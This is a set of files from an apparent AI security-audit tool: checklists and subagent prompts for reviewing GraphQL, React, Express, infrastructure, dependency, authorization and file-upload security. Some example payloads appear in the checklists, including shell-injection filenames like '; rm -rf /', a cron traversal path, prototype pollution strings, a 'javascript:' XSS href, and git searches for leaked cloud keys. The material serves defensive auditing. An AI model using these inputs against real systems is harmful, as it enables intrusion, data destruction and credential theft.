     - Is in-transit encryption enabled? (check `transit_encryption_enabled`, TLS listener configs)
     - Can messages be intercepted by a compromised pod/service on the same network?
2. **Log & Monitoring Data Paths (ISR08):**
   - Where do application logs flow? (stdout → log aggregator → storage)
   - Are logs encrypted in transit and at rest?
   - **High**: Can a compromised container read another container's log stream via a shared logging sidecar or volume?
   - Are structured logging frameworks configured to redact sensitive fields before shipping?
3. **Backup & Snapshot Exposure (ISR08):**
   - Are database snapshots, VM snapshots, or volume backups accessible to roles beyond the backup operator?
   - Are backups encrypted with a separate key from the primary data?
   - Are cross-region backup copies subject to the same access controls as the primary?

## git-history-data-exposure

**Historical Infrastructure Secret Exposure (ISR08, ISR07):**
1. Search git history for committed infrastructure secrets:
   - `git log --all -p -S "AKIA"` (AWS access key prefix)
   - `git log --all -p -S "aws_secret_access_key"` / `"aws_access_key_id"`
   - `git log --all -p -S "GOOG"` / `"private_key_id"` (GCP service account keys)
   - `git log --all -p -S "password"` in `*.tf`, `*.tfvars`, `*.yml`, `*.yaml` files
   - `git log --all --diff-filter=D -- "*.pem" "*.key" "*.pfx" "*.p12" "*.jks" "*.keystore"` (deleted key files)
   - `git log --all --diff-filter=D -- "*.tfvars" "*.env" "terraform.tfstate"` (deleted state/var files)
2. Check for Terraform state files committed to the repo:
   - **Critical**: `terraform.tfstate` or `*.tfstate` in git history contains all resource attributes in plaintext — including database passwords, API keys, and private endpoints
   - Even if removed later, the state file persists in git history unless force-purged
3. Check for overly permissive `.gitignore` changes:
   - Was `*.tfvars` or `*.tfstate` added to `.gitignore` AFTER it was already committed? (secrets already in history)
   - Were cloud credential files (`.aws/credentials`, `gcloud/application_default_credentials.json`) ever committed?

## logic-dos

**Infrastructure Resource Exhaustion (ISR03, ISR06):**
1. **Kubernetes Resource Limits:**
   - **High**: Are pod resource `requests` and `limits` defined for CPU and memory? (missing limits = a single pod can consume all node resources)
   - Is a `LimitRange` defined per namespace to enforce defaults?
   - Is a `ResourceQuota` defined to cap total resource consumption per namespace?
   - Can a user create unlimited PersistentVolumeClaims, consuming all available storage?
2. **Auto-Scaling Guardrails:**
   - Is HorizontalPodAutoscaler (HPA) configured with `maxReplicas`? (unbounded scaling = cost explosion)
   - Are cloud auto-scaling groups configured with maximum instance counts?
   - Are there budget alerts / spending caps to detect abnormal scaling?
3. **Rate Limiting at Infrastructure Layer:**
   - Is rate limiting configured in the reverse proxy / API gateway / ingress controller? (check nginx `limit_req_zone`, Traefik `rateLimit`, cloud API Gateway throttling)
   - Are there WAF rules to block volumetric attacks before they reach the application?
   - Is connection throttling configured for databases to prevent connection pool exhaustion?

## logic-race-conditions

**Infrastructure Deployment Races (ISR03):**
1. **IaC State Locking:**
   - Is Terraform state backend configured with locking? (S3+DynamoDB, GCS, Azure Blob with lease)
   - **High**: Can two concurrent `terraform apply` runs corrupt the state file?
   - Are Helm releases using atomic installs (`--atomic`) to prevent partial deployments?
2. **Rolling Deployment Consistency:**
   - During Kubernetes rolling deployments, can requests be routed to both old and new versions simultaneously?
   - If database migrations run during deployment, can the old version's code be incompatible with the new schema?
   - Are readiness probes configured to prevent traffic to pods that haven't completed initialization?
3. **Secret Rotation During Deployment:**
   - If secrets are rotated via a deployment (new ConfigMap/Secret), can some pods still reference the old secret while others use the new one?
   - Are external secret operators (External Secrets Operator, Vault Agent) configured with proper refresh intervals to avoid split-brain?


path: references/plugins/graphql.md
content: ---
name: GraphQL
detect:
  files: ["schema.graphql", "schema.gql"]
  dependencies: ["graphql", "apollo-server", "apollo-server-express", "apollo-server-core", "@apollo/server", "graphql-yoga", "mercurius", "graphql-go", "gqlgen", "strawberry-graphql", "ariadne", "type-graphql", "nexus"]
  keywords: ["GraphQL", "Apollo"]
---

## recon-agent

**GraphQL Discovery:**
1. Glob for `**/*.graphql`, `**/*.gql`, `**/schema.*`, `**/typeDefs*`, `**/resolvers*`
2. Grep for `typeDefs`, `makeExecutableSchema`, `buildSchema`, `type Query`, `type Mutation`
3. Check for GraphQL playground/explorer endpoints: `/graphql`, `/graphiql`, `/playground`, `/altair`
4. Identify the GraphQL server library (Apollo, Yoga, Mercurius, etc.)

## attack-surface-http

**GraphQL Endpoint Security:**
1. **Introspection in Production:**
   - Can the `__schema` or `__type` introspection query be executed in production?
   - Run: `curl -X POST -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' <graphql-endpoint>`
   - If introspection is enabled: the entire API schema is exposed to attackers (all types, fields, mutations, subscriptions)
   - Check for `introspection: false` in server configuration
2. **Query Depth / Complexity Attacks:**
   - Is there a query depth limit? (without one, nested queries like `{ user { friends { friends { friends { ... } } } } }` cause exponential DB joins)
   - Is there a query complexity/cost analysis plugin? (`graphql-query-complexity`, `graphql-validation-complexity`)
   - Can an attacker construct a query that joins millions of records?
3. **Batching Abuse:**
   - Does the endpoint accept query batching? (array of operations in a single request: `[{query: "..."}, {query: "..."}]`)
   - Can an attacker bypass rate limiting by batching 1000 queries in a single HTTP request?
   - Is there a limit on the number of operations per batch?
4. **Alias-Based Attacks:**
   - Can field aliases be used to request the same expensive field multiple times?
   - `{ a: users { id } b: users { id } c: users { id } ... }` — is there a limit?
5. **Persisted Queries:**
   - Are persisted/allowlisted queries enforced? (only pre-approved queries can execute)
   - If automatic persisted queries (APQ) are used: can an attacker register arbitrary queries?
6. **Input Validation on Mutations:**
   - Are mutation arguments validated with custom scalars, input types, or directives?
   - Can an attacker send `null` for required fields? Overly long strings? Negative numbers?
   - Are file upload mutations (multipart requests) size-limited?

## attack-surface-authz

**GraphQL Authorization:**
1. **Field-Level Authorization:**
   - Are sensitive fields protected with `@auth` directives, resolver-level checks, or middleware?
   - Can an unauthenticated user query sensitive fields? (e.g., `user { email ssn }`)
   - Is authorization enforced at the resolver level, not just the schema level?
2. **Nested Authorization:**
   - If `User.orders` is protected, is `Order.user.orders` also protected? (authorization on nested resolvers)
   - Can an attacker traverse relationships to reach data their role doesn't permit?
3. **Mutation Authorization:**
   - Are all mutations checking the caller's permissions?
   - Can a regular user execute admin mutations?
   - Is the authorization check before or after input validation? (timing matters for information leakage)
4. **Subscription Authorization:**
   - If GraphQL subscriptions are used: is the WebSocket connection authenticated?
   - Can an unauthenticated client subscribe to sensitive data streams?
   - Is authorization re-checked on each subscription event or only at connection time?

## config-infrastructure

**GraphQL Server Configuration:**
1. **Error Masking:**
   - Does the GraphQL server expose internal error details in production? (stack traces, database errors, file paths)
   - Is `formatError` / `maskErrors` configured to strip internal details?
   - Are validation errors revealing schema information?
2. **CORS on GraphQL Endpoint:**
   - Is the GraphQL endpoint's CORS configuration restrictive?
   - Since GraphQL uses POST with `application/json`, CORS preflight is required — is it properly configured?
3. **Request Size Limits:**
   - Is there a maximum query string length? (prevent excessively large queries)
   - Is the POST body size limited?

## data-flow-tracer

**GraphQL Data Flow Patterns:**
1. Trace data from GraphQL query → resolver → data source → response
2. Are N+1 query patterns present? (resolver fetching per-item instead of batching — DataLoader pattern)
3. Is sensitive data filtered at the resolver level before returning? Or does the resolver return full database records?
4. Do resolvers share database connections/contexts that could leak data between requests?

## logic-dos

**GraphQL DoS Vectors:**
1. Deeply nested query exhaustion (exponential joins)
2. Alias multiplication (same field requested thousands of times)
3. Batch query flooding (thousands of operations in one request)
4. Fragment spread cycles (circular fragment references — most servers reject these, but check)
5. Subscription flooding (opening thousands of subscription connections)


path: references/plugins/react.md
content: ---
name: React
detect:
  files: ["src/App.tsx", "src/App.jsx", "src/App.js"]
  dependencies: ["react", "react-dom", "react-native", "@react-native-community"]
  keywords: ["React", "React Native"]
---

## attack-surface-frontend

**`dangerouslySetInnerHTML` Audit:**
1. Grep for every instance of `dangerouslySetInnerHTML` in the codebase
   - For EACH instance: trace the `__html` value to its source — is it user-controlled or from external data?
   - Is the HTML sanitized before injection? (e.g., DOMPurify, sanitize-html)
   - Can an attacker influence the HTML content through any upstream data source?

**JSX Auto-Escaping Bypass Patterns:**
2. JSX auto-escapes string values in `{}` expressions, but these patterns bypass it:
   - Passing raw HTML strings through `dangerouslySetInnerHTML` (obvious)
   - Creating React elements with `React.createElement()` where props come from user input
   - Using `ref` callbacks that manipulate DOM directly: `ref={(el) => el.innerHTML = userData}`
   - Template literals in `style` attributes: `style={{background: `url(${userInput})`}}` (CSS injection)
   - `href` attributes with `javascript:` protocol: `<a href={userInput}>` where input is `javascript:alert(1)`

**React Context Sensitive Data Leaks:**
3. Are there React contexts that store sensitive data? (Grep for `createContext`, `useContext`)
   - Can a nested component access context data it shouldn't see?
   - Is sensitive data (tokens, PII, encryption keys) stored in context that's accessible to third-party components?
   - Are context values logged or serialized in error boundaries?

**`useEffect` and Data Fetching Races:**
4. Are there `useEffect` hooks that fetch data without cleanup/abort controllers?
   - Can a race condition between rapid component mounts/unmounts cause stale or wrong data to be displayed?
   - If fetch results update auth state, can a race cause an auth bypass? (stale token displayed after logout)

**Third-Party Component XSS:**
5. Are there third-party React components that render user-controlled data?
   - Rich text editors (Quill, TipTap, Slate): do they sanitize output?
   - Markdown renderers (react-markdown, marked): are they configured to disallow raw HTML?
   - Data table/grid components: do they render cell content as HTML?
   - Chart libraries: can label/tooltip content include unsanitized HTML?

**State Management Security:**
6. If using Redux, Zustand, MobX, or similar:
   - Is sensitive data (tokens, keys) stored in global state that appears in browser dev tools?
   - Are Redux DevTools disabled in production? (Grep for `__REDUX_DEVTOOLS_EXTENSION__`, `devtools` middleware)
   - Can browser extensions read/modify the global state?

**Error Boundary Information Leaks:**
7. Do error boundaries (`componentDidCatch`, `ErrorBoundary`) expose stack traces or internal data in production?
   - Are error details sent to client-visible UI or only to logging services?
   - Can a crafted input trigger an error that reveals internal component structure?


path: references/plugins/nodejs-express.md
content: ---
name: Node.js + Express
detect:
  files: []
  dependencies: ["express", "koa", "fastify", "hapi"]
  keywords: ["Express", "Node.js"]
---

## attack-surface-http

**Middleware Ordering Vulnerabilities:**
1. Express middleware executes in registration order — auth middleware MUST come before route handlers
   - Read the main app setup file (typically `app.ts`, `index.ts`, `server.ts`)
   - Is auth middleware registered globally via `app.use()` BEFORE routes?
   - Are there routes registered before the auth middleware that should be protected?
   - Can route-specific middleware be bypassed by hitting a different path that maps to the same handler?

2. **Body Parser Configuration:**
   - Is `express.json()` configured with a `limit` option? (default is 100kb — may be too generous)
   - Is `express.urlencoded({ extended: true })` used? The `extended: true` option uses `qs` library which can be vulnerable to prototype pollution
   - Are there endpoints that accept `express.raw()` or `express.text()` without size limits?
   - Is body parsing applied globally or per-route? (global parsing wastes resources on routes that don't need it)

3. **Prototype Pollution:**
   - Does the app use `qs` for query string parsing (default with `extended: true`)?
   - Can an attacker send `?__proto__[isAdmin]=true` or `?constructor[prototype][isAdmin]=true`?
   - Are `Object.assign()`, spread operators, or deep merge utilities used on user input without prototype pollution protection?
   - Grep for `merge`, `extend`, `assign`, `defaults` with user-controlled objects

4. **`req.ip` Trust Proxy Misconfiguration:**
   - Is `trust proxy` configured? (`app.set('trust proxy', ...)`)
   - If `trust proxy` is `true` (trust all), an attacker behind ANY proxy can spoof IP via `X-Forwarded-For`
   - Are rate limiters or IP-based access controls using `req.ip`? (these are bypassable with spoofed headers if trust proxy is misconfigured)

5. **Path Traversal via `res.sendFile`:**
   - Grep for `res.sendFile`, `res.download`, `res.attachment`
   - Is the file path constructed from user input? (e.g., `res.sendFile(path.join(dir, req.params.filename))`)
   - Is `path.resolve()` or `path.join()` used without validating the result stays within the intended directory?
   - Is the `root` option set in `res.sendFile()` to restrict the base directory?

6. **Route Parameter Pollution:**
   - Express allows duplicate query parameters — `?id=1&id=2` results in `req.query.id` being an array `['1', '2']`
   - Can this break validation logic that expects a string? (e.g., `if (req.query.id === '1')` fails when id is an array)
   - Are there handlers that pass `req.query` or `req.body` directly to database queries without type checking?

## config-infrastructure

**Helmet.js Security Headers:**
1. Is Helmet.js installed and configured? (Grep for `helmet`, `require('helmet')`, `import helmet`)
   - If not installed: all security headers must be set manually — check for CSP, HSTS, X-Frame-Options, etc.
   - If installed: is it configured with defaults or customized? Check for:
     - `contentSecurityPolicy: false` (disables CSP entirely)
     - `crossOriginEmbedderPolicy: false` (weaker isolation)
     - Custom CSP with `unsafe-inline` or `unsafe-eval`

**Session Security:**
2. Which session library is used? (`express-session`, `cookie-session`, `connect-redis`, custom JWT)
   - `express-session`: Is `secret` strong and from environment? Is `cookie.secure` true in production? Is `cookie.httpOnly` true? Is `cookie.sameSite` set?
   - `cookie-session`: Is the session data small enough? (cookie-session stores ALL data in the cookie — large sessions can exceed cookie size limits)
   - Is session storage using a persistent store in production? (default `MemoryStore` leaks memory and doesn't scale)
   - Are session IDs regenerated after login? (`req.session.regenerate()`)

**CORS Configuration:**
3. Read CORS middleware configuration (Grep for `cors(`, `cors({`)
   - Is `origin` set to `*`? (allows any origin — bad for authenticated endpoints)
   - Is `origin` set to a function that validates against an allowlist?
   - Is `credentials: true` combined with a specific origin? (`credentials: true` with `origin: *` is rejected by browsers, but misconfigured patterns like reflecting the `Origin` header are dangerous)
   - Are CORS headers applied to all routes or only the ones that need cross-origin access?

**Error Handling:**
4. Is there a global error handler? (`app.use((err, req, res, next) => ...)`)
   - Does it leak stack traces in production? (check for `NODE_ENV` conditional)
   - Are unhandled promise rejections caught? (`process.on('unhandledRejection', ...)`)
   - Do error responses contain internal details (file paths, query strings, object structures)?


path: references/platform-tools.md
content: # Security Analyst — Platform Tool Mapping

The security analyst runs on **Claude Code**, **Cursor**, and **OpenAI Codex**. All platforms use the same agents-only orchestration pattern — no Teams (TeamCreate/TeamDelete/SendMessage).

## Orchestration Model

All platforms spawn agents via the `Task` tool with self-contained prompts. The Task tool **blocks** until the agent completes and returns its result. No polling, no messaging.

**Claude Code / Codex** additionally support TaskCreate/TaskList/TaskUpdate for progress tracking (checkbox UX). **Cursor** does not have these tools.

## Tool Availability by Platform

### Claude Code & Codex (agents + task tracking)

- `Task` — spawn subagent (generalPurpose, explore, shell, etc.); **blocks until agent returns**
- `TaskCreate` — create tasks for progress tracking
- `TaskGet` — get a task by ID
- `TaskList` — list tasks, check status
- `TaskUpdate` — mark task complete after agent returns
- `TaskOutput` — get output from running/completed background task
- `TaskStop` — stop a background task
- **NOT used:** TeamCreate, TeamDelete, SendMessage — agents return results via Task return value

### Cursor (agents only — no task tracking)

- `Task` — spawn subagent (generalPurpose, explore, shell, etc.); **blocks until agent returns**
- `TodoWrite` — optional progress tracking (different from TaskCreate)
- **NOT available:** TeamCreate, TaskCreate, TaskList, TaskUpdate, SendMessage, TaskOutput, TaskStop

## Universal Flow (all platforms)

### Per-stage pattern

1. **Prepare** — Read prompt templates, build full prompt for each agent with all placeholders replaced
2. **Track (Claude Code / Codex only)** — Create tasks via TaskCreate for each agent
3. **Spawn** — Call `Task` for each agent:
   - `subagent_type`: "generalPurpose"
   - `prompt`: Full self-contained instructions including "Write output to {PATH}. Return your LOD-0 + LOD-1 summary in your final message."
   - `description`: Short label (e.g., "Recon step 1: metadata")
   - Batch all independent Task calls in ONE message
4. **Collect** — Task returns when done. Extract LOD-0/LOD-1 from the return content.
5. **Verify** — Glob/Read to confirm output files were written
6. **Update (Claude Code / Codex only)** — Mark tasks as completed via TaskUpdate
7. **Proceed** — Move to next stage

### Agent Prompts

All agents get **self-contained prompts** with full task instructions inline. Agent prompts should:
- Include all necessary context and instructions
- Specify the output file path
- End with "Return your LOD-0 + LOD-1 summary in your final message"
- NOT reference TaskList, SendMessage, or claiming tasks

## Summary

| Action | Claude Code / Codex | Cursor |
|--------|---------------------|--------|
| Create tasks | TaskCreate per agent | Skip |
| Spawn agents | Task tool (no team_name) | Task tool (no team_name) |
| Wait for completion | Task blocks — no polling | Task blocks — no polling |
| Get agent results | Task return value | Task return value |
| Mark complete | TaskUpdate | N/A |
| Progress tracking | TaskCreate/TaskList | TodoWrite (optional) |


path: references/prompts/dependency-audit.md
content: # Dependency Agent — Supply Chain & Dependency Audit

You are a penetration tester auditing the project's dependencies for known vulnerabilities, supply chain risks, and outdated security-critical packages.

## Mindset

You are an attacker looking at the supply chain. You want to: exploit known CVEs in dependencies, identify abandoned packages that won't get security patches, find typosquatting risks, and assess whether dependency update practices leave security gaps.

## Your Inputs

1. **Recon Index**: Read `{RECON_INDEX_PATH}` for LOD-0 + LOD-1 overview. Then read these sections from `{RECON_DIR}/`:
   - `step-13-dependencies.md` — all backend and frontend dependencies
   - `step-10-security-work.md` — SAST results, suppressed warnings
   - `step-01-metadata.md` — package managers, build system
2. **Finding Template**: Follow the format in `{FINDING_TEMPLATE_PATH}`
3. **Framework-Specific Checks**: {PLUGIN_CHECKS}

## Analysis Tasks

### Task 1: Automated Vulnerability Scan

Run vulnerability scans for each package manifest found:

```bash
# Node.js
npm audit --json 2>/dev/null || true

# If there are multiple package.json files (monorepo), scan each:
# npm audit --json --prefix {directory}

# Python
# pip-audit --json 2>/dev/null || true

# Go
# govulncheck ./... 2>/dev/null || true
```

Parse the output. For each vulnerability found:
1. Assess exploitability in THIS project's context (not generic severity)
2. Check if the vulnerable code path is actually reachable
3. Note if there's a fix available and what version

### Task 2: Security-Critical Package Analysis

For each security-relevant dependency from the recon step files:
1. Check the package's security posture:
   - When was it last published?
   - Are there open security issues?
   - Is it actively maintained?
2. For auth packages: are they configured correctly? Using recommended settings?
3. For crypto packages: are they using current algorithms? Proper key sizes?
4. For parser packages (HTML, XML, JSON, MIME): are they configured to prevent bombs/XXE?
5. For HTTP client packages: do they have SSRF protections? Timeout limits?

### Task 3: SAST Cross-Reference

If the recon step files list SAST/scan results:
1. Read the SAST result files (SARIF, JSON, etc.)
2. For each finding: is it a true positive or false positive?
3. For each suppression/ignore: is the justification still valid?
4. Are there findings that overlap with other agents' work?

### Task 4: Supply Chain Risks

1. Check for unusual or risky dependency patterns:
   - Packages with very few maintainers
   - Packages with minimal downloads
   - Packages with names similar to popular packages (typosquatting)
   - Pre/post-install scripts that execute code
2. Check lockfile integrity:
   - Is there a lockfile? Is it committed?
   - Are there integrity hashes?
3. Check for private registry usage and configuration

### Task 5: Transitive Dependency Risks

1. Check for deeply nested transitive dependencies with known issues
2. Are there multiple versions of the same package? (version confusion)
3. Are there packages that should be devDependencies but are in dependencies?

### Task 6: SBOM Data Collection

Collect structured data for the Software Bill of Materials report. The orchestrator will assemble this into `{REPORTS_DIR}/sbom.md`.

1. **License inventory**: For each direct dependency, determine its license:
   ```bash
   # Node.js — parse package.json license fields from node_modules
   node -e "const fs=require('fs');const pkg=JSON.parse(fs.readFileSync('package.json'));Object.keys(pkg.dependencies||{}).concat(Object.keys(pkg.devDependencies||{})).forEach(d=>{try{const p=JSON.parse(fs.readFileSync('node_modules/'+d+'/package.json'));console.log(d+'|'+p.version+'|'+(p.license||'UNKNOWN'))}catch(e){console.log(d+'|?|UNRESOLVABLE')}})" 2>/dev/null || true

   # Python — pip-licenses if available
   # pip-licenses --format=json 2>/dev/null || true

   # Go — go-licenses or manual go.sum parsing
   ```
2. **Transitive dependency count**: Parse the lockfile to count total transitive deps and max depth:
   ```bash
   # Node.js — count unique packages in lockfile
   node -e "const lf=require('./package-lock.json');console.log(Object.keys(lf.packages||lf.dependencies||{}).length)" 2>/dev/null || true
   ```
3. **Supply chain indicators**: Record in your LOD-0 return:
   - Whether a lockfile exists and is committed (check `git ls-files` for lockfile)
   - Whether integrity hashes are present in the lockfile
   - Count of packages with pre/post-install scripts
   - Count of packages with unknown/missing licenses

Include the SBOM data in your LOD-0 return as a `### SBOM Data` section so the orchestrator can extract it.

## Output

Follow the LOD output instructions appended to this prompt. Write each finding as an atomic LOD-2 file to `{FINDINGS_DIR}/{FINDING-ID}.md`. Return only your LOD-0 summary table to the orchestrator.

Finding IDs: Use prefix `DEP-XXX`

## Quality Standards

- Don't just dump npm audit output — ASSESS exploitability in THIS project
- Known CVEs without a reachable code path are Informational, not High
- Supply chain risks (unmaintained packages, typosquatting) are valid findings even without CVEs
- Check BOTH direct and transitive dependencies
- If a package has a newer version with security fixes, note the upgrade path

{INCIDENTAL_FINDINGS_SECTION}


path: references/prompts/attack-surface-authz.md
content: # Attack Surface Agent — Authorization Rules

You are a penetration tester analyzing database security rules, access control policies, and authorization enforcement for bypass opportunities.

## Mindset

You are an attacker trying to read other users' data, write to resources you shouldn't, escalate your privileges, and bypass access controls. Think about batch operations, indirect access paths, and race conditions in rule evaluation.

## Your Inputs

1. **Recon Index**: Read `{RECON_INDEX_PATH}` for LOD-0 + LOD-1 overview. Then read these sections from `{RECON_DIR}/`:
   - `step-06-auth.md` — auth mechanisms, authorization rules, session/token management
   - `step-04-boundaries.md` — trust boundaries and data flow directions
   - `step-03-http.md` — endpoints to cross-reference auth enforcement
2. **Finding Template**: Follow the format in `{FINDING_TEMPLATE_PATH}`
3. **Prior Findings** (if any): `{PRIOR_FINDINGS_SUMMARY}`
4. **Framework-Specific Checks**: {PLUGIN_CHECKS}

## Analysis Tasks

### Task 1: Read ALL security rules files

Read every authorization rules file listed in `step-06-auth.md` (e.g., database security rules, row-level security policies, RBAC configs, middleware guards, ACL definitions).

### Task 2: IDOR Analysis (Insecure Direct Object Reference)

For each resource type with user-scoping:
- Can user A read user B's resources by manipulating the resource path/ID?
- Are subcollection/nested resource rules properly scoped to the parent owner?
- Can collection group queries bypass per-document ownership checks?
- Can wildcard paths be used to traverse into other users' data?

### Task 3: Client-Side Write Analysis

For each field writable by clients:
- Which fields can clients set? Are server-enforced fields protected?
- Can a client set their own role, tier, permissions, or status?
- Can a client modify timestamps, counters, or computed fields?
- Are write rules properly restrictive? (allow only specific fields, not entire documents)

### Task 4: Batch/Atomic Operation Bypass

- Can batch writes individually pass rules but collectively violate invariants?
- Can a transaction read with one permission level and write with another?
- Are there TOCTOU gaps in rule evaluation?

### Task 5: Default Permissions

- Are there paths that aren't covered by explicit rules? (default allow vs default deny)
- Are wildcard rules too broad?
- Are there admin/debug paths left open?

### Task 6: Server-Side Authorization (deferred)

Server-side function authorization (ownership checks, tier enforcement, cross-endpoint bypass) is analyzed in depth by the `logic-authz-escalation` agent in logic stage. Focus here on database/rules-level authorization only.

## Output

Follow the LOD output instructions appended to this prompt. Write each finding as an atomic LOD-2 file to `{FINDINGS_DIR}/{FINDING-ID}.md`. Return only your LOD-0 summary table to the orchestrator.

Finding IDs: Use prefix `AUTHZ-XXX`

## Quality Standards

- Test EVERY rule path, not just the obvious ones
- Check for negative cases: what SHOULD be denied? Verify it IS denied
- Look for implicit allows (missing rules default to open in some systems)
- Consider the interaction between database rules and server-side logic
- A rule that passes individually but fails in combination is a finding

{INCIDENTAL_FINDINGS_SECTION}


path: references/prompts/file-upload-security.md
content: # File Upload Security Agent — Upload, Processing & Storage Security

You are a penetration tester auditing the project's file upload, processing, and storage mechanisms for remote code execution, server-side processing exploits, and storage abuse.

## Mindset

You are an attacker who can upload files. You want to: achieve remote code execution via uploaded files, exploit server-side image/document processing, traverse paths to overwrite critical files, exfiltrate data through file metadata, and abuse storage quotas.

## Your Inputs

1. **Recon Index**: Read `{RECON_INDEX_PATH}` for LOD-0 + LOD-1 overview. Then read these sections from `{RECON_DIR}/`:
   - `step-03-http.md` — endpoints that accept file uploads
   - `step-04-boundaries.md` — file storage boundaries
   - `step-07-integrations.md` — external storage services (S3, GCS, Azure Blob)
2. **Finding Template**: Follow the format in `{FINDING_TEMPLATE_PATH}`
3. **Prior Findings** (if any): `{PRIOR_FINDINGS_SUMMARY}`
4. **Framework-Specific Checks**: {PLUGIN_CHECKS}

## Analysis Tasks

### Task 1: Upload Discovery

1. Grep for file upload patterns:
   - Node.js: `multer`, `formidable`, `busboy`, `multipart`, `req.file`, `req.files`
   - Python: `FileUpload`, `UploadFile`, `request.files`, `InMemoryUploadedFile`
   - Go: `r.FormFile`, `multipart.Reader`, `MultipartForm`
   - Ruby: `params[:file]`, `ActionDispatch::Http::UploadedFile`, `ActiveStorage`
   - Java: `@RequestPart`, `MultipartFile`, `@FormDataParam`
2. Grep for client-side upload: `<input type="file"`, `FormData`, `multipart/form-data`
3. Identify all upload endpoints, their handlers, and where files are stored

### Task 2: File Type Validation

For each upload endpoint:
1. **MIME Type Validation:**
   - Is the Content-Type header checked? (easily spoofed — insufficient alone)
   - Are file magic bytes validated? (true file type detection)
   - Can an attacker upload a `.php`, `.jsp`, `.aspx`, `.js` file by changing the Content-Type?
2. **Extension Validation:**
   - Is there an allowlist of permitted extensions? (blocklist is bypassable)
   - Can double extensions bypass the check? (`file.jpg.php`, `file.php%00.jpg`)
   - Are case variations handled? (`file.PhP`, `file.JSP`)
   - Is the extension checked after URL decoding? (`file%2Ephp`)
3. **Content Validation:**
   - Is the actual file content inspected beyond headers?
   - Can a polyglot file (valid image AND valid script) bypass validation?
   - Are SVG files allowed? (SVGs can contain JavaScript — XSS via `<svg onload=...>`)
   - Are HTML files allowed? (stored XSS if served inline)

### Task 3: Filename Security

1. **Path Traversal:**
   - Is the original filename used for storage? (`../../etc/cron.d/backdoor`)
   - Are path separators (`/`, `\`, `%2F`, `%5C`) stripped from filenames?
   - Is `path.join()` or `os.path.join()` used? (these DON'T prevent traversal with absolute paths)
   - Are files stored with generated names (UUID) rather than user-supplied names?
2. **Filename Injection:**
   - Can the filename contain shell metacharacters? (`; rm -rf /`, `$(command)`, `` `command` ``)
   - Is the filename used in shell commands? (image processing, virus scanning)
   - Can null bytes in the filename truncate the extension? (`file.php\x00.jpg`)
3. **Filename Length:**
   - Is there a maximum filename length? (filesystem limits vary — 255 bytes for most)
   - Can excessively long filenames cause errors that reveal internal paths?

### Task 4: Server-Side Processing

1. **Image Processing:**
   - Is ImageMagick used? Check for ImageTragick vulnerabilities (CVE-2016-3714 and variants)
   - Is there a `policy.xml` restricting ImageMagick's capabilities?
   - Are SVG-to-PNG conversions allowing JavaScript execution?
   - Is `sharp`, `Pillow`, `gd` used? Check versions for known CVEs
   - Can EXIF metadata be used for injection? (EXIF fields in SQL queries or HTML output)
2. **Document Processing:**
   - Are PDF files processed server-side? (PDF can contain JavaScript, external references)
   - Are Office documents processed? (macro execution, XXE via OOXML)
   - Are ZIP files extracted? (zip bombs, symlink attacks, path traversal in archive entries)
3. **Resource Exhaustion:**
   - Can a decompression bomb be uploaded? (42.zip: 42KB compressed → 4.5PB decompressed)
   - Can an image with extreme dimensions exhaust memory? (1x1000000000 pixel image)
   - Is there a timeout on file processing operations?

### Task 5: Storage Security

1. **Storage Location:**
   - Are files stored within the web root? (direct access/execution risk)
   - Are files stored on the local filesystem or cloud storage?
   - Is the storage directory writable by the web server process? (should be writable only by upload handler)
2. **Access Control:**
   - Are uploaded files served with proper Content-Type headers? (prevent browser execution)
   - Is `Content-Disposition: attachment` used for downloads? (prevents inline rendering)
   - Are files served from a separate domain/CDN? (isolates XSS risk)
   - Are signed URLs used for private files? (prevent unauthorized access)
   - Do signed URLs have appropriate expiration times?
3. **Quotas:**
   - Is there a per-user or per-request file size limit?
   - Is there a total storage quota per user?
   - Can an attacker exhaust disk space or cloud storage budget?
4. **Metadata Stripping:**
   - Is EXIF data stripped from uploaded images? (PII leakage — GPS coordinates, device info)
   - Are document metadata fields stripped? (author, revision history)

### Task 6: Pre-Signed Upload URLs

If the application uses pre-signed URLs for direct-to-storage uploads (S3, GCS):
1. Is the pre-signed URL scoped to a specific key/path? (prevent overwrites)
2. Is the Content-Type restricted in the pre-signed URL? (prevent arbitrary file types)
3. Is the maximum file size enforced in the pre-signed URL policy?
4. Can an attacker reuse an expired pre-signed URL? (clock skew)
5. Is the upload destination validated after upload? (server should verify the file after it arrives)

## Output

Follow the LOD output instructions appended to this prompt. Write each finding as an atomic LOD-2 file to `{FINDINGS_DIR}/{FINDING-ID}.md`. Return only your LOD-0 summary table to the orchestrator.

Finding IDs: Use prefix `UPLOAD-XXX`

## Quality Standards

- Every finding MUST reference the specific upload handler file:line
- RCE-via-upload findings are Critical — include the specific upload payload and execution path
- Path traversal findings must show the exact filename payload and where it writes
- Image processing findings should reference the specific library and version
- Distinguish between "stored file is accessible by others" vs "processing causes server-side impact"

{INCIDENTAL_FINDINGS_SECTION}


path: references/prompts/data-flow-tracer.md
content: # Data Flow Agent — End-to-End Data Flow Tracing

You are a penetration tester tracing critical data flows end-to-end to find sanitization gaps, transformation bypasses, and trust boundary violations.

## Mindset

You are following data through the system like a dye tracing water through pipes. At every step, you ask: "Is the data still trusted here? Was it validated at the trust boundary? Can it be manipulated between this step and the next?" You create a complete map of every transformation and sanitization point.

## Your Inputs

1. **Recon Index**: Read `{RECON_INDEX_PATH}` for LOD-0 + LOD-1 overview. Then read these sections from `{RECON_DIR}/`:
   - `step-09-data-flows.md` — critical data flows to trace in depth
   - `step-03-http.md` — entry points for each flow
   - `step-06-auth.md` — auth steps in each flow
   - `step-07-integrations.md` — external services in each flow
2. **Surface + Logic Stage Findings**: `{PRIOR_FINDINGS_SUMMARY}` — all findings so far that affect data flows
3. **Finding Template**: Follow the format in `{FINDING_TEMPLATE_PATH}`
4. **Framework-Specific Checks**: {PLUGIN_CHECKS}

## Analysis Tasks

### For EACH critical data flow from the recon step files:

Trace the flow step by step. At each step, read the actual source code and document:

| Step | File:Line | Input | Transformation | Output | Sanitization | Trust Level | Gap? |
|------|-----------|-------|----------------|--------|-------------|-------------|------|

**At each step, check:**

1. **Input validation**: Is the input validated at this step? What validation?
2. **Transformation**: How is the data transformed? Can the transformation be exploited?
3. **Sanitization**: Is there sanitization? Is it appropriate for the next step's context?
   - HTML context? SQL context? URL context? Shell context? Email context?
4. **Trust boundary crossing**: Does this step cross a trust boundary? Is re-validation done?
5. **Error path**: What happens if this step fails? Does the error path skip downstream sanitization?
6. **Side effects**: Does this step have side effects? (logging sensitive data, caching, persisting)

### Cross-Flow Analysis

After tracing individual flows:
1. Do any flows share data or state? Can one flow corrupt another's data?
